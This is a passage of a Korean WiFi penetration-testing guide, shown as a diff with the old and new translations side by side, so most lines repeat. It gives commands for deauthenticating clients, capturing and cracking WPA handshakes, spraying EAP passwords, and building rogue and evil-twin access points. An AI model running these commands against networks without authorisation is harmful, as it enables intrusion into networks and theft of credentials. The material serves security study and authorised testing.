aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
``` ```
_이 도구로 캡처된 일부 핸드셰이크는 올바른 암호를 알고 있더라도 해독할 수 없는 것을 발견했습니다. 가능하다면 전통적인 방법으로도 핸드셰이크를 캡처하거나 이 도구를 사용하여 여러 개를 캡처하는 것을 권장합니다._ _I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool._
### 핸드셰이크 캡처 ### Handshake capture
**WPA/WPA2** 네트워크에 대한 공격은 **핸드셰이크**를 캡처하고 암호를 **오프라인**으로 **해독** 시도함으로써 실행될 수 있습니다. 이 과정은 특정 네트워크와 **BSSID**의 특정 **채널**에서의 통신을 모니터링하는 것을 포함합니다. 다음은 간소화된 가이드입니다: **WPA/WPA2** 네트워크에 대한 공격은 **핸드쉐이크**를 캡처하고 비밀번호를 **오프라인**에서 **크랙**하려고 시도함으로써 실행될 수 있습니다. 이 과정은 특정 네트워크와 특정 **채널**에서 **BSSID**의 통신을 모니터링하는 것을 포함합니다. 다음은 간소화된 가이드입니다:
1. 대상 네트워크의 **BSSID**, **채널**, 및 **연결된 클라이언트**를 식별합니다. 1. 대상 네트워크의 **BSSID**, **채널**, 및 **연결된 클라이언트**를 식별합니다.
2. `airodump-ng`를 사용하여 지정된 채널과 BSSID에서 네트워크 트래픽을 모니터링하여 핸드셰이크를 캡처합니다. 명령은 다음과 같이 보일 것입니다: 2. `airodump-ng`를 사용하여 지정된 채널과 BSSID에서 네트워크 트래픽을 모니터링하고 핸드쉐이크를 캡처합니다. 명령은 다음과 같이 보일 것입니다:
```bash ```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
``` ```
3. 핸드셰이크를 캡처할 확률을 높이려면 클라이언트를 일시적으로 네트워크에서 분리하여 다시 인증하도록 강제합니다. 이 작업은 `aireplay-ng` 명령을 사용하여 수행할 수 있습니다. 이 명령은 클라이언트로 인증 해제 패킷을 보냅니다: 3. 핸드셰이크를 캡처할 확률을 높이기 위해 클라이언트를 네트워크에서 잠시 분리하여 재인증을 강제합니다. 이는 클라이언트에게 비인증 패킷을 전송하는 `aireplay-ng` 명령을 사용하여 수행할 수 있습니다:
```bash ```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
``` ```
_클라이언트가 인증 해제되었기 때문에 다른 AP에 연결을 시도할 수도 있습니다. 또는 다른 경우에는 다른 네트워크에 연결할 수도 있습니다._ _클라이언트가 비인증 상태가 되면 다른 AP에 연결을 시도하거나, 다른 네트워크에 연결을 시도할 수 있습니다._
`airodump-ng`에서 핸드셰이크 정보가 나타나면 핸드셰이크가 캡처되었음을 의미하며, 듣기를 중지할 수 있습니다: `airodump-ng`에서 핸드셰이크 정보가 나타나면 이는 핸드셰이크가 캡처되었음을 의미하며, 청취를 중단할 수 있습니다:
![](<../../.gitbook/assets/image (172) (1).png>) ![](<../../.gitbook/assets/image (172) (1).png>)
핸드셰이크가 캡처되면 `aircrack-ng`를 사용하여 **해독**할 수 있습니다: 핸드셰이크가 캡처되면 `aircrack-ng`로 **크랙**할 수 있습니다:
``` ```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
``` ```
@ -372,7 +377,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
``` ```
cowpatty -r psk-01.cap -s "ESSID" -f - cowpatty -r psk-01.cap -s "ESSID" -f -
``` ```
_만약 이 도구가 완료되지 않은 ESSID의 핸드셰이크를 완료된 것보다 먼저 찾는다면, 유효한 것을 감지하지 못할 것입니다._ _이 도구가 완료되지 않은 ESSID의 핸드셰이크를 완료된 것보다 먼저 찾으면, 유효한 것을 감지하지 못합니다._
**pyrit** **pyrit**
```bash ```bash
@ -381,59 +386,59 @@ pyrit -r psk-01.cap analyze
``` ```
## **WPA Enterprise (MGT)** ## **WPA Enterprise (MGT)**
**기업용 WiFi 설정에서는 다양한 인증 방법을 만나게 됩니다**, 각각 다른 보안 수준과 관리 기능을 제공합니다. `airodump-ng`와 같은 도구를 사용하여 네트워크 트래픽을 검사할 때, 이러한 인증 유형에 대한 식별자를 알 수 있습니다. 일반적인 방법 중 일부는 다음과 같습니다: **기업 WiFi 설정에서는 다양한 인증 방법을 접하게 됩니다.** 각 방법은 서로 다른 보안 수준과 관리 기능을 제공합니다. `airodump-ng`와 같은 도구를 사용하여 네트워크 트래픽을 검사할 때 이러한 인증 유형에 대한 식별자를 발견할 수 있습니다. 일반적인 방법으로는 다음이 있습니다:
``` ```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
``` ```
1. **EAP-GTC (Generic Token Card)**: 1. **EAP-GTC (Generic Token Card)**:
* 이 방법은 하드웨어 토큰과 일회용 비밀번호를 지원하며 EAP-PEAP 내에서 사용됩니다. MSCHAPv2와 달리 피어 챌린지를 사용하지 않고 액세스 포인트로 암호를 평문으로 전송하여 다운그레이드 공격에 취약합니다. * 이 방법은 EAP-PEAP 내에서 하드웨어 토큰과 일회용 비밀번호를 지원합니다. MSCHAPv2와 달리 피어 챌린지를 사용하지 않으며, 비밀번호를 평문으로 액세스 포인트에 전송하여 다운그레이드 공격의 위험을 초래합니다.
2. **EAP-MD5 (Message Digest 5)**: 2. **EAP-MD5 (Message Digest 5)**:
* 클라이언트로부터 비밀번호의 MD5 해시를 전송하는 방식입니다. 사전 공격에 취약하며 서버 인증 부재와 세션별 WEP 키 생성 불가능으로 **권장되지 않습니다**. * 클라이언트에서 비밀번호의 MD5 해시를 전송하는 방식입니다. 사전 공격에 대한 취약성, 서버 인증 부족, 세션별 WEP 키 생성 불가능으로 인해 **권장되지 않습니다**.
3. **EAP-TLS (Transport Layer Security)**: 3. **EAP-TLS (Transport Layer Security)**:
* 인증을 위해 클라이언트 측 및 서버 측 인증서를 활용하며 통신 보안을 위해 사용자 기반 및 세션 기반 WEP 키를 동적으로 생성할 수 있습니다. * 인증을 위해 클라이언트 측 및 서버 측 인증서를 모두 사용하며, 통신을 보호하기 위해 사용자 기반 및 세션 기반 WEP 키를 동적으로 생성할 수 있습니다.
4. **EAP-TTLS (Tunneled Transport Layer Security)**: 4. **EAP-TTLS (Tunneled Transport Layer Security)**:
* 암호화된 터널을 통해 상호 인증을 제공하며 동적, 사용자별, 세션별 WEP 키를 파생하는 방법을 제공합니다. 클라이언트는 자격 증명을 사용하고 서버 측에서만 인증서가 필요합니다. * 암호화된 터널을 통해 상호 인증을 제공하며, 사용자별 및 세션별 WEP 키를 동적으로 유도하는 방법을 제공합니다. 서버 측 인증서만 필요하며, 클라이언트는 자격 증명을 사용합니다.
5. **PEAP (Protected Extensible Authentication Protocol)**: 5. **PEAP (Protected Extensible Authentication Protocol)**:
* 보호된 통신을 위해 TLS 터널을 생성하여 EAP와 유사하게 작동합니다. EAP 위에 약한 인증 프로토콜 사용을 허용하며 터널에 의해 제공되는 보호로 인해 가능합니다. * 보호된 통신을 위해 TLS 터널을 생성하여 EAP와 유사하게 작동합니다. 터널이 제공하는 보호 덕분에 EAP 위에 더 약한 인증 프로토콜을 사용할 수 있습니다.
* **PEAP-MSCHAPv2**: PEAP로 자주 불리며 취약한 MSCHAPv2 챌린지/응답 메커니즘을 보호하는 TLS 터널과 결합됩니다. * **PEAP-MSCHAPv2**: 일반적으로 PEAP로 언급되며, 취약한 MSCHAPv2 챌린지/응답 메커니즘과 보호 TLS 터널을 결합합니다.
* **PEAP-EAP-TLS (또는 PEAP-TLS)**: EAP-TLS와 유사하지만 인증서 교환 전에 TLS 터널을 시작하여 추가적인 보안 계층을 제공합니다. * **PEAP-EAP-TLS (또는 PEAP-TLS)**: EAP-TLS와 유사하지만 인증서 교환 전에 TLS 터널을 시작하여 추가 보안 계층을 제공합니다.
러한 인증 방법에 대한 자세한 정보는 [여기](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) [여기](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)에서 확인할 수 있습니다. 인증 방법에 대한 더 많은 정보는 [여기](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) [여기](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)에서 확인할 수 있습니다.
### 사용자 이름 캡처 ### Username Capture
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)를 읽으면 **EAP**을 사용하는 경우 **"Identity" 메시지**를 **지원**해야 하며 **사용자 이름**은 **"Response Identity" 메시지**에서 **평문**으로 전송됩니다. [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)을 읽어보면 **EAP**를 사용하는 경우 **"Identity"** **메시지**가 **지원되어야** 하며, **사용자 이름**이 **"Response Identity"** 메시지에서 **명확하게** 전송된다는 것을 알 수 있습니다.
가장 안전한 인증 방법 중 하나인 **PEAP-EAP-TLS**를 사용하더라도 **EAP 프로토콜에서 전송된 사용자 이름을 캡처**할 수 있습니다. 이를 위해 **인증 통신을 캡처**하고 (`airodump-ng`를 채널 내에서 시작하고 동일한 인터페이스에서 `wireshark`를 시작) 패킷을 `eapol`로 필터링하세요.\ 가장 안전한 인증 방법 중 하나인 **PEAP-EAP-TLS**를 사용하더라도 **EAP 프로토콜에서 전송된 사용자 이름을 캡처하는 것이 가능합니다**. 이를 위해 **인증 통신을 캡처**하고 (`airodump-ng`를 채널 내에서 시작하고 같은 인터페이스에서 `wireshark`를 실행) 패킷을 `eapol`로 필터링합니다.\
**"Response, Identity"** 패킷 내에서 클라이언트의 **사용자 이름**이 나타납니다. "**Response, Identity**" 패킷 내에서 클라이언트의 **사용자 이름**이 나타납니다.
![](<../../.gitbook/assets/image (850).png>) ![](<../../.gitbook/assets/image (850).png>)
### 익명 신원 ### Anonymous Identities
EAP-PEAP 및 EAP-TTLS에서는 신원 숨김이 지원됩니다. WiFi 네트워크의 맥락에서 EAP-Identity 요청은 일반적으로 연결 프로세스 중에 액세스 포인트(AP)에 의해 시작됩니다. 사용자 익명성 보호를 보장하기 위해 사용자 장치의 EAP 클라이언트로부터의 응답은 요청을 처리하기 위해 초기 RADIUS 서버에 필요한 필수 정보만 포함합니다. 이 개념은 다음 시나리오를 통해 설명됩니다: 신원 숨기기는 EAP-PEAP와 EAP-TTLS 모두에서 지원됩니다. WiFi 네트워크의 맥락에서 EAP-Identity 요청은 일반적으로 연결 과정 중에 액세스 포인트(AP)에 의해 시작됩니다. 사용자 익명성을 보호하기 위해, 사용자의 장치에서 EAP 클라이언트의 응답은 초기 RADIUS 서버가 요청을 처리하는 데 필요한 필수 정보만 포함합니다. 이 개념은 다음 시나리오를 통해 설명됩니다:
* EAP-Identity = anonymous * EAP-Identity = anonymous
* 이 시나리오에서 모든 사용자는 익명의 "anonymous"를 사용자 식별자로 사용합니다. 초기 RADIUS 서버는 EAP-PEAP 또는 EAP-TTLS 서버로 작동하여 PEAP 또는 TTLS 프로토콜의 서버 측을 관리합니다. 그런 다음 내부(보호된) 인증 방법은 로컬에서 처리되거나 원격(홈) RADIUS 서버 위임됩니다. * 이 시나리오에서 모든 사용자는 사용자 식별자로 "anonymous"라는 가명만 사용합니다. 초기 RADIUS 서버는 EAP-PEAP 또는 EAP-TTLS 서버로 작동하며, PEAP 또는 TTLS 프로토콜의 서버 측을 관리합니다. 내부(보호된) 인증 방법은 로컬에서 처리되거나 원격(홈) RADIUS 서버 위임됩니다.
* EAP-Identity = anonymous@realm\_x * EAP-Identity = anonymous@realm\_x
* 이 상황에서 서로 다른 영역의 사용자는 자신들의 신원을 숨기고 각자의 영역을 나타냅니다. 이를 통해 초기 RADIUS 서버는 사용자의 홈 영역의 RADIUS 서버로 EAP-PEAP 또는 EAP-TTLS 요청을 프록시할 수 있으며 해당 서버는 PEAP 또는 TTLS 서버로 작동합니다. 초기 RADIUS 서버는 단순히 RADIUS 릴레이 노드로만 작동합니다. * 이 상황에서 서로 다른 영역의 사용자는 자신의 영역을 나타내면서 신원을 숨깁니다. 이를 통해 초기 RADIUS 서버는 EAP-PEAP 또는 EAP-TTLS 요청을 해당 영역의 RADIUS 서버로 프록시할 수 있으며, 이 서버는 PEAP 또는 TTLS 서버로 작동합니다. 초기 RADIUS 서버는 RADIUS 중계 노드로만 작동합니다.
* 또한 초기 RADIUS 서버는 EAP-PEAP 또는 EAP-TTLS 서버로 작동하고 보호된 인증 방법을 처리하거나 다른 서버로 전달할 수 있습니다. 이 옵션은 다양한 영역에 대 구성을 용이하게 합니다. * 또는 초기 RADIUS 서버가 EAP-PEAP 또는 EAP-TTLS 서버로 작동하고 보호된 인증 방법을 처리하거나 다른 서버로 전달할 수 있습니다. 이 옵션은 다양한 영역에 대해 별도의 정책 구성을 용이하게 합니다.
EAP-PEAP에서 PEAP 서버와 PEAP 클라이언트 간에 TLS 터널이 설정되면 PEAP 서버가 EAP-Identity 요청을 시작하고 TLS 터널을 통해 전송합니다. 클라이언트는 이 두 번째 EAP-Identity 요청에 응답하여 암호화된 터널을 통해 사용자의 실제 신원을 포함한 EAP-Identity 응답을 보냅니다. 이 접근 방식은 802.11 트래픽을 도청하는 사람에게 사용자의 실제 신원을 노출시키지 않습니다. EAP-PEAP에서 PEAP 서버와 PEAP 클라이언트 간에 TLS 터널이 설정되면, PEAP 서버가 EAP-Identity 요청을 시작하고 이를 TLS 터널을 통해 전송합니다. 클라이언트는 암호화된 터널을 통해 사용자의 실제 신원을 포함한 EAP-Identity 응답을 전송하여 이 두 번째 EAP-Identity 요청에 응답합니다. 이 접근 방식은 802.11 트래픽을 엿보는 누구에게도 사용자의 실제 신원을 드러내지 않도록 효과적으로 방지합니다.
EAP-TTLS는 약간 다른 절차를 따릅니다. EAP-TTLS에서 클라이언트는 일반적으로 PAP 또는 CHAP를 사용하여 TLS 터널로 보호된 상태에서 인증합니다. 이 경우 클라이언트는 터널 설정 후 초기 TLS 메시지에 User-Name 속성과 Password 또는 CHAP-Password 속성을 포함합니다. EAP-TTLS는 약간 다른 절차를 따릅니다. EAP-TTLS에서는 클라이언트가 일반적으로 PAP 또는 CHAP을 사용하여 TLS 터널로 보호된 인증을 수행합니다. 이 경우 클라이언트는 터널 설정 후 전송되는 초기 TLS 메시지에 User-Name 속성과 Password 또는 CHAP-Password 속성을 포함합니다.
선택한 프로토콜에 관계없이 PEAP/TTLS 서버는 TLS 터널이 설정된 후 사용자의 실제 신원을 획득합니다. 실제 신원은 사용자@영역 또는 단순히 사용자로 나타낼 수 있습니다. PEAP/TTLS 서버가 사용자를 인증하는 책임이 있는 경우 TLS 터널로 보호된 인증 방법을 진행합니다. 그렇지 않은 경우 PEAP/TTLS 서버는 사용자의 홈 RADIUS 서버로 새로운 RADIUS 요청을 전달합니다. 이 새로운 RADIUS 요청은 PEAP 또는 TTLS 프로토콜 계층을 생략합니다. 보호된 인증 방법이 EAP인 경우 내부 EAP 메시지는 EAP-PEAP 또는 EAP-TTLS 래퍼 없이 사용자의 홈 RADIUS 서버로 전송됩니다. 발신 RADIUS 메시지의 User-Name 속성에는 수신된 RADIUS 요청에서 발견된 익명 User-Name을 대체하는 사용자의 실제 신원이 포함됩니다. 보호된 인증 방법이 PAP 또는 CHAP인 경우(오직 TTLS에서 지원), TLS 페이로드에서 추출된 User-Name 및 기타 인증 속성이 수신된 RADIUS 요청에서 발견된 익명 User-Name 및 TTLS EAP-Message 속성을 대체하여 발신 RADIUS 메시지에 포함됩니다. 선택한 프로토콜에 관계없이, PEAP/TTLS 서버는 TLS 터널이 설정된 후 사용자의 실제 신원을 알게 됩니다. 실제 신원은 user@realm 또는 단순히 user로 표현될 수 있습니다. PEAP/TTLS 서버가 사용자 인증을 담당하는 경우, 이제 사용자의 신원을 보유하고 TLS 터널로 보호된 인증 방법을 진행합니다. 또는 PEAP/TTLS 서버가 사용자의 홈 RADIUS 서버로 새로운 RADIUS 요청을 전달할 수 있습니다. 이 새로운 RADIUS 요청은 PEAP 또는 TTLS 프로토콜 계층을 생략합니다. 보호된 인증 방법이 EAP인 경우, 내부 EAP 메시지는 EAP-PEAP 또는 EAP-TTLS 래퍼 없이 홈 RADIUS 서버로 전송됩니다. 나가는 RADIUS 메시지의 User-Name 속성은 사용자의 실제 신원을 포함하며, 들어오는 RADIUS 요청의 익명 User-Name을 대체합니다. 보호된 인증 방법이 PAP 또는 CHAP(오직 TTLS에서 지원)인 경우, TLS 페이로드에서 추출된 User-Name 및 기타 인증 속성이 나가는 RADIUS 메시지에 대체되어 들어오는 RADIUS 요청의 익명 User-Name 및 TTLS EAP-Message 속성을 대체합니다.
자세한 정보는 [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)에서 확인하세요. 자세한 내용은 [여기](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)를 확인하세요.
### EAP-Bruteforce (password spray) ### EAP-Bruteforce (password spray)
클라이언트가 **사용자 이름과 비밀번호**를 사용하는 것으로 예상되면 (**EAP-TLS는 이 경우 유효하지 않음**에 유의), **사용자 이름 목록** 및 **비밀번호**를 얻어서 [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)를 사용하여 액세스를 **bruteforce**할 수 있습니다. 클라이언트가 **사용자 이름과 비밀번호**를 사용할 것으로 예상되는 경우(**EAP-TLS는 이 경우 유효하지 않음**), **사용자 이름**(다음 부분 참조)과 **비밀번호** 목록을 얻으려고 시도하고 [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**를 사용하여 액세스를 **브루트포스**할 수 있습니다.**
```bash ```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
``` ```
당신은 `eaphammer`를 사용하여 이 공격을 수행할 수도 있습니다: 이 공격은 `eaphammer`를 사용하여 수행할 수도 있습니다:
```bash ```bash
./eaphammer --eap-spray \ ./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@ -445,38 +450,38 @@ EAP-TTLS는 약간 다른 절차를 따릅니다. EAP-TTLS에서 클라이언트
### 네트워크 선택 및 로밍 ### 네트워크 선택 및 로밍
* 802.11 프로토콜은 스테이션이 확장 서비스 세트(ESS)에 가입하는 방법을 정의하지만 ESS 또는 그 내의 액세스 포인트(AP)를 선택하는 기준을 명시하지는 않습니다. * 802.11 프로토콜은 스테이션이 확장 서비스 세트(ESS)에 가입하는 방법을 정의하지만, ESS 또는 그 안의 액세스 포인트(AP)를 선택하는 기준은 명시하지 않습니다.
* 스테이션은 동일한 ESSID를 공유하는 AP 간에 로밍할 수 있으며 건물이나 지역 전체에서 연결을 유지할 수 있습니다. * 스테이션은 동일한 ESSID를 공유하는 AP 간에 로밍할 수 있으며, 건물이나 지역 전반에 걸쳐 연결성을 유지합니다.
* 프로토콜은 스테이션이 ESS에 대해 인증을 요구하지만 AP가 스테이션에 대해 인증을 요구하지는 않습니다. * 프로토콜은 ESS에 대한 스테이션 인증을 요구하지만, 스테이션에 대한 AP 인증을 의무화하지 않습니다.
### 선호 네트워크 목록 (PNLs) ### 선호 네트워크 목록(PNL)
* 스테이션은 연결된 모든 무선 네트워크의 ESSID를 선호 네트워크 목록(PNL)에 저장하며 네트워크별 구성 세부 정보도 포함됩니다. * 스테이션은 연결하는 모든 무선 네트워크의 ESSID를 선호 네트워크 목록(PNL)에 저장하며, 네트워크별 구성 세부정보도 함께 저장합니다.
* PNL은 알려진 네트워크에 자동으로 연결하기 위해 사용되며 연결 프로세스를 간소화하여 사용자 경험을 향상시킵니다. * PNL은 알려진 네트워크에 자동으로 연결하는 데 사용되어, 연결 프로세스를 간소화하여 사용자 경험을 향상시킵니다.
### 수동 스캐닝 ### 수동 스
* AP는 주기적으로 비콘 프레임을 브로드캐스트하여 존재 및 기능을 알리며 AP의 ESSID를 포함합니다(브로드캐스팅이 비활성화되지 않은 경우). * AP는 주기적으로 비콘 프레임을 방송하여 자신의 존재와 기능을 알리며, AP의 ESSID를 포함합니다(방송이 비활성화되지 않은 경우).
* 수동 스캐닝 중에 스테이션은 비콘 프레임을 수신합니다. 비콘의 ESSID가 스테이션의 PNL 항목과 일치하는 경우 스테이션은 해당 AP에 자동으로 연결할 수 있습니다. * 수동 스캔 중에 스테이션은 비콘 프레임을 수신합니다. 비콘의 ESSID가 스테이션의 PNL에 있는 항목과 일치하면, 스테이션은 해당 AP에 자동으로 연결될 수 있습니다.
* 장치의 PNL을 알면 알려진 네트워크의 ESSID를 모방하여 장치가 악의적인 AP에 연결되도록 속일 수 있습니다. * 장치의 PNL에 대한 지식은 알려진 네트워크의 ESSID를 모방하여 장치를 악성 AP에 연결하도록 속일 수 있는 잠재적 착취를 가능하게 합니다.
### 활성 프로빙 ### 능동 프로빙
* 활성 프로빙은 스테이션이 근처 AP를 발견하기 위해 프로브 요청을 보내는 것을 포함합니다. * 능동 프로빙은 스테이션이 근처 AP와 그 특성을 발견하기 위해 프로브 요청을 보내는 것입니다.
* 지정된 프로브 요청은 특정 ESSID를 대상으로 하여 특정 네트워크가 범위 내에 있는지 여부를 감지하는 데 도움이 됩니다(숨겨진 네트워크인 경우도 해당). * 지향 프로브 요청은 특정 ESSID를 목표로 하여, 특정 네트워크가 범위 내에 있는지 감지하는 데 도움을 줍니다. 숨겨진 네트워크일지라도 가능합니다.
* 브로드캐스트 프로브 요청은 널 SSID 필드를 가지며 근처 모든 AP에 전송되어 스테이션이 PNL 내용을 공개하지 않고 선호하는 네트워크를 확인할 수 있게 합니다. * 브로드캐스트 프로브 요청은 SSID 필드가 비어 있으며, 모든 근처 AP에 전송되어 스테이션이 PNL 내용을 공개하지 않고 선호 네트워크를 확인할 수 있게 합니다.
## 인터넷으로 리디렉션되는 간단한 AP ## 간단한 AP와 인터넷으로 리디렉션
더 복잡한 공격을 수행하는 방법을 설명하기 전에 **어떻게** 간단히 **AP를 생성**하고 **그 트래픽을** 인터넷에 연결된 인터페이스로 **리디렉션**하는지에 대해 설명될 것입니다. 더 복잡한 공격을 수행하는 방법을 설명하기 전에, **AP**를 **생성**하고 **트래픽**을 **인터넷**에 연결된 인터페이스로 **리디렉션**하는 **방법**을 설명합니다.
`ifconfig -a`를 사용하여 AP를 생성하고 인터넷에 연결된 인터페이스를 확인합니다. `ifconfig -a`를 사용하여 AP를 생성할 wlan 인터페이스와 인터넷에 연결된 인터페이스가 존재하는지 확인합니다.
### DHCP & DNS ### DHCP & DNS
```bash ```bash
apt-get install dnsmasq #Manages DHCP and DNS apt-get install dnsmasq #Manages DHCP and DNS
``` ```
다음과 같이 `/etc/dnsmasq.conf` 구성 파일을 생성하십시오: `/etc/dnsmasq.conf` 파일을 생성합니다:
```ini ```ini
interface=wlan0 interface=wlan0
dhcp-authoritative dhcp-authoritative
@ -488,12 +493,12 @@ log-queries
log-dhcp log-dhcp
listen-address=127.0.0.1 listen-address=127.0.0.1
``` ```
그런 다음 **IP 주소**와 **경로를 설정**하십시오: 그런 다음 **IP 설정****경로 설정**:
```bash ```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
``` ```
런 다음 **dnsmasq를 시작**하십시오: 리고 **dnsmasq**를 시작합니다:
```bash ```bash
dnsmasq -C dnsmasq.conf -d dnsmasq -C dnsmasq.conf -d
``` ```
@ -501,7 +506,7 @@ dnsmasq -C dnsmasq.conf -d
```bash ```bash
apt-get install hostapd apt-get install hostapd
``` ```
다음은 `hostapd.conf`라는 구성 파일을 만드는 방법입니다: `hostapd.conf` 파일을 생성합니다:
```ini ```ini
interface=wlan0 interface=wlan0
driver=nl80211 driver=nl80211
@ -519,65 +524,65 @@ wpa_group_rekey=86400
ieee80211n=1 ieee80211n=1
wme_enabled=1 wme_enabled=1
``` ```
**귀찮은 프로세스를 중지**하고 **모니터 모드**를 설정한 다음 **hostapd를 시작**하세요: **불필요한 프로세스 중지** , **모니터 모드 설정** , 그리고 **hostapd 시작**:
```bash ```bash
airmon-ng check kill airmon-ng check kill
iwconfig wlan0 mode monitor iwconfig wlan0 mode monitor
ifconfig wlan0 up ifconfig wlan0 up
hostapd ./hostapd.conf hostapd ./hostapd.conf
``` ```
### 전달 및 리다이렉션 ### 포워딩 및 리디렉션
```bash ```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward echo 1 > /proc/sys/net/ipv4/ip_forward
``` ```
## 이블 트윈 ## Evil Twin
블 트윈 공격은 WiFi 클라이언트가 네트워크를 인식하는 방식을 악용하며, 주로 클라이언트가 기본 스테이션(액세스 포인트)이 자신을 인증할 필요 없이 네트워크 이름(ESSID)에 의존합니다. 주요 포인트는 다음과 같습니다: 악성 쌍둥이 공격은 WiFi 클라이언트가 네트워크를 인식하는 방식을 이용하며, 주로 네트워크 이름(ESSID)에 의존하고 기본 스테이션(액세스 포인트)이 클라이언트에 대해 인증할 필요가 없습니다. 주요 사항은 다음과 같습니다:
- **구별의 어려움**: 장치들은 동일한 ESSID 및 암호화 유형을 공유할 때 합법적인 액세스 포인트와 악의적인 액세스 포인트를 구별하는 데 어려움을 겪습니다. 현실 세계의 네트워크는 종종 동일한 ESSID를 사용하여 범위를 원활하게 확장하는 여러 액세스 포인트를 사용합니다. * **구별의 어려움**: 장치들은 동일한 ESSID와 암호화 유형을 공유하는 경우 합법적인 액세스 포인트와 악성 액세스 포인트를 구별하는 데 어려움을 겪습니다. 실제 네트워크는 종종 동일한 ESSID를 가진 여러 액세스 포인트를 사용하여 원활하게 범위를 확장합니다.
- **클라이언트 로밍 및 연결 조작**: 802.11 프로토콜을 통해 장치들은 동일한 ESS 내에서 액세스 포인트 간에 로밍할 수 있습니다. 공격자는 이를 악용하여 장치를 현재 기본 스테이션에서 분리시키고 악의적인 액세스 포인트에 연결하도록 유도할 수 있습니다. 이는 더 강한 신호를 제공하거나 디인증 패킷이나 재밍과 같은 방법을 사용하여 합법적인 액세스 포인트와의 연결을 방해함으로써 달성할 수 있습니다. * **클라이언트 로밍 및 연결 조작**: 802.11 프로토콜은 장치가 동일한 ESS 내의 액세스 포인트 간에 로밍할 수 있도록 허용합니다. 공격자는 장치를 현재 기본 스테이션에서 분리하고 악성 스테이션에 연결하도록 유도하여 이를 악용할 수 있습니다. 이는 더 강한 신호를 제공하거나 비인증 패킷 또는 재밍과 같은 방법을 통해 합법적인 액세스 포인트와의 연결을 방해함으로써 달성할 수 있습니다.
- **실행의 어려움**: 다수의 잘 배치된 액세스 포인트가 있는 환경에서 이블 트윈 공격을 성공적으로 실행하는 것은 어려울 수 있습니다. 단일 합법적인 액세스 포인트를 디인증하는 것은 공격자가 모든 인근 액세스 포인트를 디인증하거나 악의적인 액세스 포인트를 전략적으로 배치하지 않는 한 장치가 다른 합법적인 액세스 포인트에 연결되는 경우가 많습니다. * **실행의 어려움**: 여러 개의 잘 배치된 액세스 포인트가 있는 환경에서 악성 쌍둥이 공격을 성공적으로 실행하는 것은 어려울 수 있습니다. 단일 합법적인 액세스 포인트를 비인증하면 장치가 다른 합법적인 액세스 포인트에 연결되는 경우가 많으며, 공격자가 모든 인근 액세스 포인트를 비인증하거나 악성 액세스 포인트를 전략적으로 배치할 수 없는 한 그렇습니다.
아주 기본적인 Open Evil Twin(인터넷으로 트래픽을 라우팅할 수 있는 기능 없음)을 만들 수 있습니다:
```bash ```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
``` ```
당신은 **eaphammer**를 사용하여 Evil Twin을 만들 수도 있습니다 (eaphammer를 사용하여 악의적인 쌍둥이를 만들기 위해서는 인터페이스가 **모니터** 모드가 아니어야 합니다): 당신은 **eaphammer**를 사용하여 Evil Twin을 생성할 수도 있습니다 (eaphammer로 Evil Twin을 생성하려면 인터페이스가 **모니터** 모드에 있지 않아야 한다는 점에 유의하세요):
```bash ```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal ./eaphammer -i wlan0 --essid exampleCorp --captive-portal
``` ```
또는 Airgeddon을 사용하여 `옵션: 5,6,7,8,9 (Evil Twin 공격 메뉴 내부).` Or using Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).`
![](<../../.gitbook/assets/image (1088).png>) ![](<../../.gitbook/assets/image (1088).png>)
